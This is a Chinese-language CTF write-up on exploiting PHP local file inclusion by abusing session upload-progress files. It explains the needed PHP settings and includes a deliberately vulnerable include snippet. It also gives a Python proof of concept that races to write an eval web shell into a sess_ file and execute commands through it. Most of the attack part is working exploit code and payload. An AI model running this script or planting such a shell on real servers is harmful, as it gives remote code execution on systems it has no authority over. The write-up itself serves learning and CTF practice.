PHP 本地包含session文件
打比赛还是要自己搞个 Docker
文件才好玩啊,本地模拟成不成也不知道原因,搞了个 Docker
就很容易的知道哪里出了问题,本次文章内容描述了 本地文件包含 session
文件的一类题型的解题方案代码
题型:本地文件包含
条件
session.upload_progress.enabled
开启 必须开启上传进度记录
session.use_strict_mode
关闭允许自定义session名称
session.save_path
已知未知也没关系可能就是需要大量的字典爆破
Session 上传进度
当 session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时 POST
一个与INI中设置的 session.upload_progress.name
同名变量时,上传进度可以在 $_SESSION
中获得。 当PHP检测到这种 POST
请求时,它会在 $_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值
原理
从官方的描述可以看到,当 POST
数据中包含 session.upload_progress.name
同名变量时,PHP会将 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起生成 session
索引,之后 session
数据会被序列化保存到 session.save_path
目录下的文件中,文件名为 "sess_"
加上 session.name
对应的 cookie
值,当 session.use_strict_mode
关闭时,我们还可以自定义 session
名称,如果开启可以尝试使用同一个 session
来进行处理。
由于上面的条件,可以得到一个可控内容,知道路径的文件,如果代码中出现文件包含且了解到上述内容的话,可以尝试包含 session
文件来执行,如果 session.upload_progress.cleanup
开启, session
文件的内容会在文件上传完成之后删除,因此可能还需条件竞争,赶在文件被清除前利用包含。
题目
源码:
<?php
if (isset($_POST['file'])) {
$file = $_POST['file'];
if (file_exists($file)) {
include $file;
} else {
echo 'not exist: '.$file;
}
} else {
highlight_file(__FILE__);
}
POC 脚本说明
读文件部分
读文件部分很简单,只需要保证请求文件即可,这里我加了识别文件是否写入成功,以及获取执行成功后的输出内容
def read_eval(sess):
url = '%s?%s=%s' % (target, get_file_field, session_path)
resp = sess.post(url,data= {
post_file_field : session_path,
'shell': eval_php
})
if identiy_name in resp.text:
m = re.search('<<<(.*)>>>', resp.text)
if m:
rsp = m.group(1)
txt = base64.b64decode(rsp)
print(txt.decode())
sys.exit(0)
写文件部分
写文件部分需要做到上传一个文件,且 POST
包中包含特定的 session
名称,以及 session.upload_progress.name
的值。
def write_shell(sess):
url = '%s?%s=%s' % (target, get_file_field, session_path)
f = io.BytesIO(b'a' * 1024 * 1024)
headers = {
'Cookie': 'PHPSESSID=%s' % identiy_name
}
resp = sess.post(url,data= {
post_file_field : session_path,
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo '%s'; ob_start(); eval($_POST[\"shell\"]); $content=ob_get_clean(); echo '<<<'.base64_encode($content).'>>>'; ?>" % identiy_name,
}, headers=headers, files={"file":('dx.txt', f)})
if len(resp.text) > 2037 or 'PHP' in resp.text:
print(resp.text)
这里我写入的 shell
内容大致功能:
<?php
// 输出标识符,标识文件执行成功
echo '%s';
// 缓冲 eval 执行输出
ob_start();
eval($_POST["shell"]);
$content=ob_get_clean();
// 编码执行输出方便读取解码
echo '<<<'.base64_encode($content).'>>>';
?>
完事之后就是多线程并行的读写
def do_write(sess):
print('[+] write %s' % session_path)
while True:
write_shell(sess)
def do_read(sess):
print('[+] eval %s' % session_path)
while True:
read_eval(sess)
def main():
with requests.session() as session:
wt = threading.Thread(target=do_write,args=(session,))
wt.daemon = True
wt.start()
do_read(session)
if __name__ == "__main__":
main()
POC 执行效果
- 配置文件检查
- 源码文件
- 执行结果
可以在后台看到写入的 session
文件内容

Hello! I am DXkite